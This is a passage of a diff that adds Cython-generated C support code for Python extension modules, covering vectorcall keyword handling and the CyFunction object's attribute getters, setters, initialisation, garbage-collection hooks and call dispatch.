PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + 